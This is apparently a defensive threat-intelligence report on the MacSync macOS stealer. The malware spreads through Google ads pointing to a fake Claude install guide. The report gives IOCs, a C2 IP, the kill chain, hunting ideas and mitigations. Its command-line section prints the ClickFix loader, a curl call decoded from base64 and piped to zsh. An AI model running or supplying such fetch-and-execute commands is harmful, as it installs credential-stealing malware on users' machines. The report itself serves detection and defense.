8 minhigh
How a Google Search for Claude Led to MacSync
A malvertising campaign targeting macOS users uses Google sponsored search results to direct victims to a fake Claude installation guide on claude.ai. The guide uses the ClickFix technique, instructing users to paste a curl command into Terminal that downloads the MacSync stealer and RAT. MacSync features a six-stage kill chain that exfiltrates browser data, keychain secrets, and cryptocurrency wallets, and establishes persistence via a Mach-O RAT connecting to a hardcoded IP over WebSocket.
Sens:▲ 24hConf:high
Showing defanged values
- filenamefile:///Users/josh.kiriakoff/Desktop/ledger/recovery-step-3.htmlLocal file path for the fake Ledger wallet recovery phrase phishing page. The username is specific to the analyst's demo environment.
- filename.mpwdLocal file where stolen user credentials are written for immediate retrieval by the Mach-O RAT.
- filenameosalogging.zipStaging archive in /tmp/ where stolen browser data, keychain secrets, and user files are collected before exfiltration.
- filename/tmp/osalogging.zipTemporary staging path for the exfiltrated data archive.
- filename.zshrcResource file modified by the malware to launch persistence mechanisms after Terminal restarts with elevated TCC permissions.
- ip85[.]206[.]161[.]241Direct C2 IP address for the MacSync Mach-O RAT, contacted via WebSocket over TLS on port 8443.
Detection / Hunteropenrouter
What Happened
Attackers bought Google ads so that searching for how to install the Claude AI app on a Mac led to a fake instruction page. The page told users to copy and paste a command into their Mac's Terminal, which secretly downloaded malware called MacSync. This malware steals saved passwords, browser cookies, and cryptocurrency wallet information. It also installs a backdoor that lets attackers remotely control the computer and view its screen. Mac users who searched for Claude installation instructions are the primary targets. This matters because the malware can steal irreplaceable cryptocurrency recovery phrases, giving attackers permanent access to digital wallets. Users should be cautious about pasting commands into Terminal and should verify software installation instructions come from official sources.
Key Takeaways
- A malvertising campaign used Google sponsored search results to direct users to a fake Claude installation guide hosted on claude.ai, leveraging the 'ClickFix' technique.
- The attack chain delivers the MacSync stealer and RAT, which features a six-stage kill chain including in-memory execution, dynamic AppleScript, and a native Mach-O RAT.
- MacSync exfiltrates browser cookies, keychain secrets, SSH keys, cloud configurations, and Telegram sessions to /tmp/osalogging.zip.
- The malware includes a separately signed helper application designed to steal Screen Recording permissions via macOS TCC.
- The final stage trojanizes 60 wallet browser extensions, 21 desktop wallet apps, and 3 hardware wallet companion apps to phish for cryptocurrency recovery phrases.
Affected Systems
- macOS
Vulnerabilities (CVEs)
None identified.
Attack Chain
- Initial Access: User clicks a Google sponsored search result leading to a fake Claude install guide on claude.ai using the ClickFix technique.
- Execution: User pastes a curl command into Terminal, downloading a 1,442-byte polymorphic zsh loader.
- In-Memory Execution: The loader decodes a gzip-compressed, Base64-encoded payload and executes daemon_function in memory, fetching a dynamic AppleScript.
- Credential Theft: The AppleScript requests Full Disk Access via TCC, extracts Chromium Safe Storage AES keys from the keychain, and steals browser data, SSH keys, and Telegram sessions.
- Persistence: A Mach-O RAT is dropped into the user's Home folder, establishing a LaunchAgent and connecting to a C2 server via WebSocket over TLS.
- Exfiltration: Stolen data is archived to /tmp/osalogging.zip and uploaded. A signed helper steals Screen Recording permissions, and wallet apps are trojanized to phish for crypto recovery phrases.
Detection Availability
- YARA Rules: No
- Sigma Rules: No
- Snort/Suricata Rules: No
- KQL Queries: No
- Splunk SPL Queries: No
- EQL Queries: No
- Other Detection Logic: No
The article does not provide specific detection rules but mentions that Elastic telemetry captured the initial curl command. Analysts suggested building detections around curl triggers and Base64 content in shell.
Detection Engineering Assessment
copy:
| Dimension | Rating | Rationale |
|---|---|---|
| EDR Visibility | Medium | EDR can observe the initial curl execution and LaunchAgent creation. However, the malware runs heavily in-memory via AppleScript and zsh functions, which may limit traditional file-based scanning. The RAT also uses an embedded OpenSSL stack to bypass macOS trust checks. |
| Network Visibility | Medium | The initial curl download and the RAT's WebSocket over TLS connection to a raw IP on port 8443 are visible. The use of TLS and a fallback XOR-obfuscated domain may complicate analysis if the primary IP is blocked. |
| Detection Difficulty | Moderate | The polymorphic nature of the loader prevents hash-based detection. The in-memory execution of AppleScript and the use of legitimate system binaries (curl, osascript) require behavioral detections. Detecting the TCC prompt abuse and the specific file paths (/tmp/osalogging.zip) are viable strategies. |
Required Log Sources
- macOS Unified Log
- Endpoint Process Telemetry (e.g., Elastic, EDR)
- LaunchAgent/Daemon creation logs
- Network connection logs (firewall/IDS)
Hunting Hypotheses
copy:
| Hypothesis | Telemetry | ATT&CK Stage | FP Risk |
|---|---|---|---|
| Consider hunting for curl or zsh processes downloading and executing content directly from the internet, particularly involving Base64-encoded strings. | Process execution logs with command-line arguments. | Execution | Medium - Administrators and developers may use similar commands for legitimate software installations. |
| Consider hunting for the creation of LaunchAgent property list files named after existing system updaters or legitimate applications. | File creation logs in ~/Library/LaunchAgents/. | Persistence | Low - Legitimate applications rarely name their launch agents after other system components. |
| Consider hunting for network connections to raw IP addresses on non-standard ports using WebSocket over TLS, originating from user-space processes. | Network firewall or IDS logs, endpoint network telemetry. | Command and Control | Low - Direct IP connections on port 8443 from user applications are uncommon. |
| Consider hunting for the creation of the file /tmp/osalogging.zip or the .mpwd file in the user's home directory. | File system audit logs. | Exfiltration | Low - These specific filenames and paths are highly indicative of MacSync. |
| Consider hunting for osascript processes requesting Full Disk Access or Screen Recording permissions, especially those originating from Terminal or zsh. | macOS TCC logs, process execution logs. | Defense Evasion | Medium - Legitimate administrative scripts may request these permissions, but context of the parent process is key. |
Control Gaps
- Hash-based detection mechanisms are ineffective due to the polymorphic loader.
- File-based AV may miss the in-memory execution of the AppleScript payload.
- Standard macOS trust checks are bypassed by the RAT's embedded OpenSSL stack.
- User-initiated TCC approvals bypass endpoint controls, requiring behavioral monitoring of permission grants.
Key Behavioral Indicators
- curl piped to zsh with Base64 encoded payloads.
- Creation of LaunchAgent plists named after system updaters.
- Outbound TLS WebSocket connections to raw IP addresses.
- Creation of /tmp/osalogging.zip or .mpwd files.
- osascript execution from Terminal requesting TCC permissions.
False Positive Assessment
Medium
Recommendations
Immediate Mitigation
defender takeaway
- Verify against your organization's incident response runbook and team escalation paths before acting. Consider blocking IP 85.206.161.241 at the network perimeter.
- If your EDR supports host isolation, consider isolating any macOS endpoints exhibiting the described file creation or C2 behavior.
- Consider searching endpoint telemetry for the presence of /tmp/osalogging.zip, .mpwd, or related curl execution patterns.
Infrastructure Hardening
- Evaluate whether blocking outbound WebSocket over TLS connections to raw IP addresses on non-standard ports is feasible for your environment.
- Consider deploying macOS endpoint tools like BlockBlock and LuLu Firewall to monitor for persistence and unauthorized network connections.
User Protection
- Consider implementing application allowlisting or restricting Terminal access for non-technical users where supported by your MDM.
- Evaluate whether your MDM can enforce stricter TCC policies or provide additional warning prompts for permission requests.
- Consider deploying endpoint monitoring that alerts on suspicious curl or osascript behavior.
Security Awareness
- Consider adding this specific malvertising campaign to existing security awareness training, emphasizing the ClickFix technique and the danger of pasting commands into Terminal.
- Reinforce the importance of verifying the source of installation instructions, even if they appear on a legitimate domain like claude.ai.
- Educate users on the irreversibility of cryptocurrency recovery phrase theft and the importance of not entering them into prompted dialogs.
MITRE ATT&CK Mapping
MITRE ATT&CK Mapping10 techniques
Tactic
Initial Access
Tactic
Execution
Tactic
Persistence
Tactic
Stealth
Tactic
Credential Access
Tactic
Collection
Tactic
Command and Control
Additional IOCs
- File Paths:
/tmp/osalogging.zip- Temporary staging path for the exfiltrated data archive.file:///Users/josh.kiriakoff/Desktop/ledger/recovery-step-3.html- Local file path for the fake Ledger wallet recovery phrase phishing page. The username is specific to the analyst's demo environment.
- Command Lines:
- Purpose: Download and execute the initial ZSH loader for MacSync. | Tools:
curl,zsh| Stage: Initial Access |curl -kfsSL $(echo '<base64>' | base64 -d) | zsh
- Purpose: Download and execute the initial ZSH loader for MacSync. | Tools:
